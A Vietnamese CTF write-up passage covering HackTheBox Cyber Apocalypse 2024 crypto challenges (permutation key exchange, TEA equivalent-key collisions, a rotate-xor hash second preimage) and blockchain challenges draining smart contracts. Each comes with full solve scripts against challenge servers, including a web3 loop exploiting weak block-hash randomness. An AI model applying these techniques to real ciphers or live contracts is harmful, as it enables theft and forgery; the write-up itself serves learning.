def __pow__(self, power, modulo=None):
ans = Permutationx.identity(self.length)
ctr = self
while power > 0:
if power % 2 == 1:
ans *= ctr
ctr *= ctr
power //= 2
return ans
def __str__(self):
return str(self.mapping)
def identity(length):
return Permutationx(range(length))
from output import g, A, B
g = Permutationx(g)
assert str(g**a) == str(A) and str(g**b) == str(B)
A, B = Permutationx(A), Permutationx(B)
C = A**b
assert C.mapping == (B**a).mapping
sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)
hash = sha256()
hash.update(sec)
key = hash.digest()[16:32]
enc = b'\x89\xba1J\x9c\xfd\xe8\xd0\xe5A*\xa0\rq?!wg\xb0\x85\xeb\xce\x9f\x06\xcbG\x84O\xed\xdb\xcd\xc2\x188\x0cT\xa0\xaaH\x0c\x9e9\xe7\x9d@R\x9b\xbd'
iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc), 16).decode()
print(flag)
```
### Flag
> ~~`HTB{w3lL_n0T_aLl_gRoUpS_aRe_eQUaL_!!}`~~
### Note
- Bài này khá hay đối với mình vì mở mang cho mình khá nhiều kiến thức, bên cạnh đó mình cũng tham khảo official writeup ở [bài này](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/crypto/%5BHard%5D%20Permuted) của bác `makelariss` cũng khá hay. Shout-out :fire:
- Thêm một nguồn tham khảo nữa là [bài này](https://ariana1729.github.io/writeups/2022/GreyCTF/Permutation/2022-06-10-Permutation.html) cũng hay không kém :fire:
---
## 9. Tsayaki
### Description
- Server code:
```python=
from tea import Cipher as TEA
from secret import IV, FLAG
import os
ROUNDS = 10
def show_menu():
print("""
============================================================================================
|| I made this decryption oracle in which I let users choose their own decryption keys. ||
|| I think that it's secure as the tea cipher doesn't produce collisions (?) ... Right? ||
|| If you manage to prove me wrong 10 times, you get a special gift. ||
============================================================================================
""")
def run():
show_menu()
server_message = os.urandom(20)
print(f'Here is my special message: {server_message.hex()}')
used_keys = []
ciphertexts = []
for i in range(ROUNDS):
print(f'Round {i+1}/10')
try:
ct = bytes.fromhex(input('Enter your target ciphertext (in hex) : '))
assert ct not in ciphertexts
for j in range(4):
key = bytes.fromhex(input(f'[{i+1}/{j+1}] Enter your encryption key (in hex) : '))
assert len(key) == 16 and key not in used_keys
used_keys.append(key)
cipher = TEA(key, IV)
enc = cipher.encrypt(server_message)
if enc != ct:
print(f'Hmm ... close enough, but {enc.hex()} does not look like {ct.hex()} at all! Bye...')
exit()
except:
print('Nope.')
exit()
ciphertexts.append(ct)
print(f'Wait, really? {FLAG}')
if __name__ == '__main__':
run()
```
- Challenge code: Tương tự bài [Iced TEA](https://hackmd.io/sXfigwmiRB-_YCZiXtTK6g?view#Description4)
### Solution
- Trước hết, mình sẽ phân tích flow của server. Server đầu tiên sẽ cung cấp cho chúng ta một `server_message` (gọi tắt là `sm`). `sm` sẽ được mã hóa bằng thuật toán `TEA-CBC` với `IV` cố định (`IV` này lấy từ local), vậy còn `key` thì sao? Chúng ta sẽ chính là người cung cấp `key` cho bài. Thực chất `server` sẽ chạy 10 vòng, ở mỗi vòng sẽ lấy vào `ct` và 4 `key` của mình, nếu có thể tạo ra collision giữa `ct` và `enc_sm` thì được accept và chạy vào vòng kế tiếp. Tất nhiên sau khi sử dụng `key` nào thì `key` đó sẽ trở nên useless cho vòng `key` tiếp theo. `ct` cũng không được reused btw :smiley_cat:
- Nếu bypass được tất cả 10 vòng này thì server sẽ nhả flag cho mình, nói là 10 vòng cho bé thôi chứ mỗi vòng chính lại cần tìm 4 `key` khác nhau, tổng cộng là mình cần có 10 cặp `(4 keys, ct)` để break bài này.
- Trước hết `IV` là cố định và mode là `CBC` nên việc recover lại `IV` không quá khó, yêu cầu hiểu về các mode là có thể làm được rồi:
![CBC](https://hackmd.io/_uploads/rydL0uZRT.png)
- Như đã thấy, đề bài cung cấp cho chúng ta `sm`, bản mã của `sm`, `key` do chúng ta cung cấp, vậy thì bằng một thủ thuật đơn giản mình có thể tìm lại được `IV`:
```
CBC:
E(key, sm ^ IV) = enc_sm
D(key, enc_sm) = sm ^ IV
```
- Tuy nhiên nếu để ý kĩ, ta sẽ thấy `D(key, enc_sm) của CBC` khá giống với `ECB`, vậy nên mình sẽ `decrypt(enc_sm)` bằng mode `ECB` và xor output với `sm` là recover xong `IV`:
```python=
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.Padding import unpad, pad
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
if self.IV:
self.mode = Mode.CBC
else:
self.mode = Mode.ECB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt(self, ciphertext):
blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt += self._xor(X, dec_block)
X = ct_block
return pt
def decrypt_block(self, ciphertext):
c = b2l(ciphertext)
K = self.KEY
msk = (1 << (self.BLOCK_SIZE//2)) - 1
m0 = c >> (self.BLOCK_SIZE//2)
m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1)
s = self.DELTA * 32
for i in range(32):
m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
m1 &= msk
m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
m0 &= msk
s -= self.DELTA
m = (m0 << (self.BLOCK_SIZE//2)) | m1
return l2b(m)
pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d'
key = b'1' * 16
ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'
pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
cipher = Cipher(key)
temp = cipher.decrypt(ct)
IV = cipher._xor(temp, pt)[:8]
print(IV)
```
(Nhớ dùng lại file như bài `Iced TEA`. `pt` và `ct` ở trên là mình lấy từ server, còn `key` là của mình gửi lên)
- Tìm được `IV = b'\r\xdd\xd2w<\xf4\xb9\x08'` (chỉ 8 bytes thôi nên đừng confuse :monkey:, just chill). Việc tìm lại `IV` rất có ý nghĩa cho attack của mình vì mình phải gửi lên `ct` đã `encrypt` bằng `key` và `IV`.
- Công việc tiếp theo yêu cầu chúng ta kiến thức về `Equivalent keys`. Tài liệu tham khảo về `Equivalent keys` có thể xem ở mục 3.5 trong [đây](https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf) (shout-out anh `Thangcoithongminh` :fire:). Vì paper đã viết khá rõ rồi nên mình sẽ chỉ giải thích vulnerability thôi. Nếu nhìn vào hàm `encrypt_block` trong class `Cipher`:
![Vul](https://hackmd.io/_uploads/H1gRQFb0T.png)
thì ai cũng sẽ nhận ra vấn đề các `key` khác nhau có thể mã hóa giống nhau cho một bản rõ, ở đây maximum chỉ tìm được 3 `key` khác nên số vòng test `key` là 4 :monkey:
- Dài dòng như trên nhưng cuối cùng kiểu gì cũng sẽ tìm được 4 keys lần lượt là:
```python=
h = 0x80000000
K0 = k0 + k1 + k2 + k3
K1 = k0 + k1 + xor(k2, h) + xor(k3, h)
K2 = xor(k0, h) + xor(k1, h) + k2 + k3
K3 = xor(k0, h) + xor(k1, h) + xor(k2, h) + xor(k3, h)
```
- Tới đây thì done, mình đã có các `key` rồi, giờ đem đi thử nghiệm thôi:
```python=
pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d'
key = b'1' * 16
ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'
pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
IV = b'\r\xdd\xd2w<\xf4\xb9\x08'
def keys(key):
h = 0x80000000
h = l2b(h)
k = [key[i:i+4] for i in range(0, 16, 4)]
K0 = k[0] + k[1] + k[2] + k[3]
K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h)
K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3]
K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h)
return [K0, K1, K2, K3]
for key in keys(key):
cipher = Cipher(key, IV)
test = cipher.encrypt(pt)
print(test == ct)
```
- Gotcha, giờ mình sẽ viết full code cho bài:
```python=
from pwn import *
from source import Cipher
from Crypto.Util.number import *
def keys(key: bytes):
h = 0x80000000
h = long_to_bytes(h)
k = [key[i:i+4] for i in range(0, 16, 4)]
K0 = k[0] + k[1] + k[2] + k[3]
K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h)
K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3]
K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h)
return [K0, K1, K2, K3]
HOST = '83.136.254.199'
PORT = 36738
IV = b'\r\xdd\xd2w<\xf4\xb9\x08'
r = remote(HOST, PORT)
r.recvuntil(b': ')
sm = r.recvuntil(b'\n').split(b'\n')[0].decode()
for round in range(10):
key = (str(round) * 16).encode()
ct = Cipher(key=key, iv=IV).encrypt(bytes.fromhex(sm))
r.sendlineafter(b' (in hex) : ', bytes.hex(ct).encode())
temp = keys(key)
for k in temp:
r.sendlineafter(b'(in hex) : ', bytes.hex(k).encode())
print(f'Finish round number: {round + 1} !!!')
if round == 9:
print(r.recv().decode())
```
### Flag
> ~~`HTB{th1s_4tt4ck_m4k3s_T34_1n4ppr0pr14t3_f0r_h4sh1ng!}`~~
### Note
- Đây là một bài hard khá hay, làm mình tốn kha khá thời gian (1 tiếng) để giải sau khi HTB end.
---
## 10. ROT128
### Description
- Challenge code:
```python=
import random, os, signal
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from secret import FLAG
ROUNDS = 3
USED_STATES = []
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
N = 128
def handler(signum, frame):
print("\n\nToo slow, don't try to do sneaky things.")
exit()
def validate_state(state):
if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]):
print('Please, make sure your input satisfies the upper and lower bounds.')
return False
if sorted(state[:4]) in USED_STATES:
print('You cannot reuse the same state')
return False
if sum(user_state[:4]) < 2:
print('We have to deal with some edge cases...')
return False
return True
class HashRoll:
def __init__(self):
self.reset_state()
def hash_step(self, i):
r1, r2 = self.state[2*i], self.state[2*i+1]
return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)
def update_state(self, state=None):
if not state:
self.state = [0] * 6
self.state[:4] = [random.randint(0, N) for _ in range(4)]
self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
else:
self.state = state
def reset_state(self):
self.update_state()
def digest(self, buffer):
buffer = int.from_bytes(buffer, byteorder='big')
m1 = buffer >> N
m2 = buffer & (2**N - 1)
self.h = b''
for i in range(2):
self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
return self.h
print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!')
hashfunc = HashRoll()
for _ in range(ROUNDS):
print(f'ROUND {_+1}/{ROUNDS}!')
server_msg = os.urandom(32)
hashfunc.reset_state()
server_hash = hashfunc.digest(server_msg)
print(f'You know H({server_msg.hex()}) = {server_hash.hex()}')
signal.signal(signal.SIGALRM, handler)
signal.alarm(2)
user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',')
try:
user_state = list(map(int, user_state))
if not validate_state(user_state):
print("The state is not valid! Try again.")
exit()
hashfunc.update_state(user_state)
if hashfunc.digest(server_msg) == server_hash:
print(f'Moving on to the next round!')
USED_STATES.append(sorted(user_state[:4]))
else:
print('Not today.')
exit()
except:
print("The hash function's state must be all integers.")
exit()
finally:
signal.alarm(0)
print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}')
```
### Solution
- Bài này là bài lỏ nhất mình từng làm, một là vì có cả unintended solution, hai là bài này hơi quá khó để mình giải và thực sự học được gì đó. Tuy nhiên mình sẽ cố để hấp thụ tinh hoa trong bài toán này.
- Trước hết, file source gợi ý cho mình về ý tưởng khai thác second preimage resistance của hàm băm tự chế `HashRoll()`. Chúng ta sẽ cần break 3 lần liên tiếp để server nhả flag. Về công việc trong mỗi vòng, mình có thể tóm tắt lại như sau:
- Server đẻ ra một `server_msg` với 32 bytes, sau đó trả ra cho chúng ta một hàm băm của `server_msg` gọi là `server_hash = H(server_msg)`
- Trong 2s, chúng ta sẽ cần nhập vào các `user_state` hợp lệ, sau đó server sẽ thử băm `user_state` ra, nếu `H(user_state) = server_hash` thì chuyển tới vòng tiếp theo
- Như vậy, công việc chính của mỗi vòng là tìm `user_state`, tạm gọi là `S'` sao cho `H(S') = H(S)`, với `S` là `server_msg`. Trong đó, `S'` (cũng như `S`) gồm có các thành phần `a`, `b`, `c`, `d` là số bits để `ROL - left rotate` (dịch vòng trái) và `e`, `f` là hai số 128 bits sắp `ROLed`. Tuy nhiên, có hai điều cần phải lưu ý, `S'` cần phải hợp lệ, tức là:
- Không được reuse lại `S'`
- Tổng `a + b + c + d` không được nhỏ hơn 2 (tránh vài trường hợp đặc biệt)
- `a`, `b`, `c`, `d` phải nằm trong nửa đoạn `[0, 128)`, `e` và `f` phải nằm trong khoảng `(0, 2^128 - 1)`
- Tất cả mọi thứ đều được phân tích xong, đã biết được chúng ta cần gửi lên server bộ số `(a, b, c, d, e, f)` sao cho
```
H(S') = H(S)
<=> h1' + h2' = ROL(e, a) ^ ROL(f, b) ^ m1 + ROL(e, c) ^ ROL(f, d) ^ m2 = h1 + h2
```
giờ mình sẽ đi tới cách attack, theo cả unintended và intended solution.
#### Unintended solution
- Unintended solution này xảy ra vì chúng ta có thể dùng `z3` để giải. Khi đề bài cho mình `server_msg` (`S`) và `server_hash` (`H(S)`) cũng đồng nghĩa với việc chúng ta có được các giá trị `h1`, `h2` (từ `H(S)`) và `m1`, `m2` (từ `S`). Về chi tiết mình sẽ không đi quá sâu mà chỉ gợi ý tìm bằng cách khai thác `buffer` vì `buffer = l2b(S)`. Từ đây, chắc chắn một điều ta có thể giải ra bộ số `(a, b, c, d, e, f)` thỏa mãn `h1' + h2' = h1 + h2` như trên bằng `z3`. Đóng gói bộ số này gửi lên server là xong:
```python=
from z3 import *
from pwn import *
import re
HOST =
PORT =
def find_hex_strings(text):
pattern = r'\b[a-fA-F0-9]{64}\b'
hex_strings = re.findall(pattern, text)
return hex_strings
while True:
try:
r = remote(HOST, PORT)
for i in range(3):
data = r.recvuntil(b"Send your hash function state (format: a,b,c,d,e,f) ::").decode()
data = find_hex_strings(data)
buffer = int(data[0], 16)
h = data[1]
N = 128
_ROL_ = lambda x, i: ((x << i) | (x >> (N-i))) & (2**N - 1)
m1 = buffer >> N
m2 = buffer & (2**N - 1)
h1 = int(h[:32], 16) ^ m1
h2 = int(h[32:], 16) ^ m2
solver = Solver()
# Declare e and f as 128 bit BitVecs
e, f = BitVecs('e f', N)
def constraint_ROL_xor(e, f, i1, i2, h):
return _ROL_(e, i1) ^ _ROL_(f, i2) == h
a, b, c, d = BitVecs('a b c d', 7)
a,b,c,d = ZeroExt(128-7, a), ZeroExt(128-7, b), ZeroExt(128-7, c), ZeroExt(128-7, d)
solver.add(constraint_ROL_xor(e, f, a, b, h1))
solver.add(constraint_ROL_xor(e, f, c, d, h2))
if solver.check() == sat:
m = solver.model()
print(m)
dict = {d.name(): m[d] for d in m.decls()}
res = f"{dict['a']},{dict['b']},{dict['c']},{dict['d']},{dict['e']},{dict['f']}"
r.sendline(res.encode())
r.recvline()
print(r.recvline())
except:
pass
```
(Shout-out anh `lilthawg` vì bộ code lỏ này :fire:)
- Tuy nhiên không nên vứt máy một chỗ rùi chạy code vì code brute vô hạn không ngừng có lúc đúng có lúc sai và sẽ có một lúc nào đó mọi người không ngờ mà flag lòi ra đâu :penguin:
#### Intended solution
- Về intended solution của bài này thì dài kinh khủng khiếp (vì là Insane mà). Tuy nhiên, có thể thu nhỏ vấn đề lại về bài viết [này](https://crypto.stackexchange.com/questions/107005/a-problem-related-to-two-bitwise-sums-of-rotations-of-two-different-bitstrings)
- Nếu đọc bài viết trên, ta có thể hình thành hoàn toàn lời giải cho bài này, tuy nhiên mình cần làm rõ một vài vấn đề:
- Ta đã biết phép `xor` chính là phép cộng trong trường `Fp` với `p = 2`, vậy còn phép dịch trái thì sao. Dịch trái 1 bit tương ứng với việc nhân số đó với 2^1, 2 bits là nhân với 2^2, tổng quát lại, dịch k bits là nhân với 2^k.
- Tuy nhiên, nếu phần tử `A` của ta là đa thức, khi đó, ta gọi trường hữu hạn `Fp` trên là một vành đa thức (polynomial rings) `Fp[z]` thỏa mãn `A` là một tổ hợp tuyến tính của `a[i] * z^i`, `a[i]` là phần tử của `Fp`. Trong bài này, trường nghiên cứu là `GF(2^128)`
- Vậy kiến thức này liên quan đến gì tới bài, thực ra nhiều là đằng khác. Xét cách biểu diễn đa thức của một số trong trường `GF(2^k)` - là trường Galois đã gặp trong mã hóa AES với `k = 3`, ta có `GF(2^3)` và trường này có 8 phần tử phân biệt từ 0 đến 7, cụ thể như sau:
| Số | Biểu diễn nhị phân | Biểu diễn đa thức |
| --- | ------------------ | -------------------------------- |
| 0 | 000 | 0x^2 + 0x^1 + 0x^0 = 0 |
| 1 | 001 | 0x^2 + 0x^1 + 1x^0 = 1 |
| 2 | 010 | 0x^2 + 1x^1 + 0x^0 = x |
| 3 | 011 | 0x^2 + 1x^1 + 1x^0 = x + 1 |
| 4 | 100 | 1x^2 + 0x^1 + 0x^0 = x^2 |
| 5 | 101 | 1x^2 + 0x^1 + 1x^0 = x^2 + 1 |
| 6 | 110 | 1x^2 + 1x^1 + 0x^0 = x^2 + x |
| 7 | 111 | 1x^2 + 1x^1 + 1x^0 = x^2 + x + 1 |
- Nói cách khác, các phần tử trong trường `GF(2^3)` được biểu diễn dưới dạng trên (cột 3). Nếu ta `xor` hai phần tử với nhau, giả sử `7 xor 3` sẽ nhận được kết quả là `x^2`, vì:
```
7 xor 3
= 7 + 3 (mod 2)
= (x^2 + x + 1) + (x + 1) (mod 2)
= x^2 + 2x + 2 (mod 2)
= x^2 (mod 2)
```
- Đối với bài, trường chúng ta làm việc sẽ là `GF(2^128)` và chứa 128 phần tử từ 0 đến 127. Khi đó, nếu tính `h1'` và `h2'` như bài, ta sẽ thực hiện:
```
h1' = ROL(e, a) ^ ROL(f, b) ^ m1
h2' = ROL(e, c) ^ ROL(f, d) ^ m2
<=> h1' ^ m1 = ROL(e, a) ^ ROL(f, b)
h2' ^ m2 = ROL(e, c) ^ ROL(f, d)
- Nếu chọn a = c, khi đó:
h1' ^ m1 = ROL(e, a) + 2**b * f
h2' ^ m2 = ROL(e, a) + 2**d * f (theo như lí thuyết ở trên)
=> h1' ^ m1 ^ h2' ^ m2 = 2**b * f ^ 2**d * f
=> h1' ^ m1 ^ h2' ^ m2 = (2**b ^ 2**d)f
=> f = (h1' ^ m1 ^ h2' ^ m2) / (2**b ^ 2**d)
=> f = (h1 ^ h2 ^ m1 ^ m2) / (2**b ^ 2**d)
+ Đến đây chỉ cần check factor như bài viết trong link là được
- Ta có ROL(e, a) = 2**a * e
=> 2**a = ROL(e, a) / e
=> a = log2(ROL(e, a) / e)
+ Đến đây cũng check factor như bài viết trong link
- Lại có e = ROL(e, a) / (2**a)
=> e = (h1' ^ m1 - ROL(f, b)) / (2**a)
=> e = (h1 ^ m1 - ROL(f, b)) / (2**a)
```
- Vậy chúng ta đã có đầy đủ bộ số `(e, f)` dựa vào `(a, b, c, d)` và `(h1, h2, m1, m2)` thỏa mãn yêu cầu đề bài, vậy attack thôi.
- Code:
```python=
from pwn import process
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import itertools, math
from sage.all import *
N = 128
F = GF(2**N, 'w')
w = F.gen()
PR = PolynomialRing(GF(2), 'z')
z = PR.gen()
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
def int2pre(i):
coeffs = list(map(int, bin(i)[2:].zfill(N)))[::-1]
return PR(coeffs)
def pre2int(p):
coeffs = p.coefficients(sparse=False)
return sum(2**i * int(coeffs[i]) for i in range(len(coeffs)))
def pre2int(p):
coeffs = p.coefficients(sparse=False)
return sum(2**i * int(coeffs[i]) for i in range(len(coeffs)))
def get_all_bd():
powers = '0123456789'
cands = itertools.product(powers, repeat=2)
bd = {}
for cand in set(cands):
b = int(cand[0])
d = int(cand[1])
s = 2**b + 2**d
bd[s] = sorted([b, d])
return bd
def get_b_and_d(H, bd, visited):
factors = sorted([F(i**j).integer_representation() for i,j in list(H.factor())])
for fact in factors:
if fact in visited: continue
if fact in bd:
b, d = bd[fact]
visited.append(fact)
return (b, d)
def get_a_and_c(numer):
numer_factors = sorted([F(i**j).integer_representation() for i,j in list(numer.factor())])
cands = []
for factor in numer_factors:
a = int(math.log2(factor))
if 2**a == factor:
c = a
cands.append((a, c))
return cands
def solve(io, bd, used_states, visited):
io.recvuntil(b'H(')
server_msg = int(io.recv(64), 16)
io.recvuntil(b' = ')
server_hash = l2b(int(io.recvline().strip().decode(), 16))
m1, m2 = server_msg >> N, server_msg & (2**N - 1)
H1, H2 = b2l(server_hash[:16]) ^ m1, b2l(server_hash[16:]) ^ m2
H = int2pre(H1) + int2pre(H2)
if not H: return None
bd = get_b_and_d(H, bd, visited)
if not bd: return None
b, d = bd
assert H.mod(int2pre(2**b + 2**d)) == 0
f = H / int2pre(2**b + 2**d)
numer = int2pre(H1) - f * int2pre(2**b)
ac = get_a_and_c(numer)
if not ac: return None
for (a, c) in ac:
e = numer / int2pre(2**a)
e = pre2int(PR(e))
f = pre2int(PR(f))
if sorted([a, b, c, d]) in used_states: continue
if H1 == _ROL_(e, a) ^ _ROL_(f, b) and H2 == _ROL_(e, c) ^ _ROL_(f, d):
used_states.append(sorted([a, b, c, d]))
state = a, b, c, d, e, f
return state
bd = get_all_bd()
while True:
used_states = []
visited = []
done = 0
io = process(['python3', 'server.py'])
for _ in range(3):
state = solve(io, bd, used_states, visited)
if state:
a, b, c, d, e, f = state
io.sendlineafter(b' :: ', f'{a},{b},{c},{d},{e},{f}'.encode())
done += 1
print(f'Finish round number {done} !!!')
if done == 3:
io.recvline()
print(io.recvline().decode())
exit()
else:
print('Try again!!!')
io.close()
break
```
(Code hơi dài và khó viết nên quả thật bài này `Insane` cũng đáng)
- Cách attack cũng chỉ vậy thôi, tuy nhiên lại nằm ở việc khai thác `ROL`, `GF(2**128)` và việc tìm `collision` cho hàm băm nên bài này thực sự rất hay, xứng đáng :100:
### Flag
> ~~`HTB{k33p_r0t4t1ng_4nd_r0t4t1ng_4nd_x0r1ng_4nd_r0t4t1ng!}`~~
---
# II. Blockchain
## 0. Introduction
- Trước hết thì với mình, mảng Blockchain này hoàn toàn mới và có rất nhiều thứ mình cần học. Tuy nhiên trong quá trình tham gia giải thì mình được mọi người support khá nhiều, shout-out anh `Mạnh AT18`, anh `lilthawg29` với ông bạn lỏ `Thụy AT20`. Về flow của các challs dưới đây thì có thể mình chưa thể nắm hết được nhưng mình sẽ cố gắng trình bày chính xác nhất có thể, thanks for reading :heart:
## 1. Russian Roulette
### Description
- `Setup.sol`:
```sol=
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
```
- `RussianRoulette.sol`:
```sol=
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
```
### Solution
- Bài này thì có hai file, file `Setup.sol` sẽ được thực thi chính, và flow của chương trình sẽ như sau (cũng có thể hỏi ChatGPT nếu stuck):
- Khai báo một contract tên `Setup`
- Khai báo một biến `TARGET` (biến `immutable`, tạm hiểu là không thể thay đổi, giống với chức năng của biến `constant` ). Bên cạnh đó `TARGET` thuộc kiểu `RussianRoulette` (đã import từ file `RussianRoulette.sol`)
- Khai báo một hàm khởi tạo, trong hàm này gán `TARGET` bằng địa chỉ của `RussianRoulette` và 10 `Ether` khởi tạo
- Khai báo hàm `isSolved()`, dùng để kiểm tra số dư của `TARGET`, nếu bằng 0 thì trả về `True`
- Mình sẽ đi sâu một chút vào phân tích file `RussianRoulette.sol`:
- Khai báo hàm khởi tạo (nhưng chả có gì ngoài dòng comment cho vui :monkey:)
- Khai báo hàm `pullTrigger()`, hàm này chúng ta có thể call được. Hàm này sẽ check nếu hash của block trước mod 10 bằng 7 thì tự hủy luôn (`selfdestruct`), thực ra là nó sẽ gửi tất cả tiền về cho mình, nếu không thì in ra dòng `im SAFU ... for now` (thực ra chẳng `SAFU` nổi đâu vì mình sắp cho nó đi bán muối rồi :smiling_imp:)
- Rồi, vậy thì mục tiêu chính của bài là lấy tất cả tiền của thằng `TARGET` kia rồi mình sẽ nhận được flag. Có một điều mình chưa nói là khi `Spawn Docker` của bài sẽ có 2 ports cho 1 id. Thực chất 1 port là để connect để lấy thông tin còn 1 port để nc với server (để lấy flag) thôi.
- Mình sẽ nói về cách exploit ở đây. Đầu tiên nếu ai chưa tiếp xúc với solidity bao giờ, nói chung là smart contract đi, thì sẽ rất khó để hiểu code và viết nó ra sao. Mình cũng thế và toàn bộ code là do ChatGPT viết, cái chính ở đây sẽ là idea để khai thác. Hàm duy nhất mình có thể attack ở đây là `pullTrigger()` vì mình tương tác với nó mà, bên cạnh đó hàm cũng là cách duy nhất để thó sạch tiền của thằng cu `TARGET` kia. Hàm này kiểm tra hash của block trước, nhưng bố ai biết được block trước như nào :penguin:, vậy nên khá may rủi. Tuy nhiên, hàm không giới hạn lần gọi, nên mình sẽ gọi nhiều lần `pullTrigger()` cho đến khi thó được tiền thì thôi. Idea đơn giản như thế nhưng code gần trăm dòng chứ ít :penguin:
- Full script:
```python=
import eth_account
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://94.237.53.81:39438'))
Private_key = '0xe1fc19baee3e2ec693eb28626a41d1f0fa297b2481b66e0b7bcad143bb4ffa38'
Address = '0xAe0CEeDB8238725A8BdCCeF55161d06Fb1e111F0'
Target_contract = '0x251478952cDF5819e5C901db75a1E12B65Af3122'
Setup_contract = '0x1176a5a7413241ECA579B5d38290b8fe31e24FE9'
my_account = eth_account.Account.from_key(Private_key)
SETUP_CONTRACT_ABI = [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "TARGET",
"outputs": [
{
"internalType": "contract RussianRoulette",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]
TARGET_CONTRACT_ABI = [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "pullTrigger",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "payable",
"type": "function"
}
]
Setup_contract = w3.eth.contract(address=Setup_contract, abi=SETUP_CONTRACT_ABI)
Target_contract = w3.eth.contract(address=Target_contract, abi=TARGET_CONTRACT_ABI)
while True:
is_solved = Setup_contract.functions.isSolved().call()
if is_solved:
print("Target contract is already solved!")
break
tx = Target_contract.functions.pullTrigger().build_transaction({
'gas': 200000,
'gasPrice': w3.to_wei('5', 'gwei'),
'nonce': w3.eth.get_transaction_count(Address),
})
signed_tx = w3.eth.account.sign_transaction(tx, Private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
print("Transaction sent:", tx_hash.hex())
```
(để chạy được code này thì cần spawn docker, lấy ip server, lấy info, cài đặt thư viện web3, nói chung là nhiều lắm nên cách này cũng hơi lỏ :monkey:)
- Sau khi thó tiền thì quay lại port 2 kia để lấy flag. Done :moneybag:
![TARGET](https://hackmd.io/_uploads/SJqyX6WA6.png)
### Flag
> ~~`HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}`~~
### Note
- Bên cạnh đó, mình có thể sử dụng một tool lỏ có tên là `Foundry` nhưng tạm thời mình chưa tìm hiểu kĩ nên thôi :monkey:
---
## 2. Lucky Faucet
### Description
- `Setup.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
```
- `LuckyFaucet`:
```sol=
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
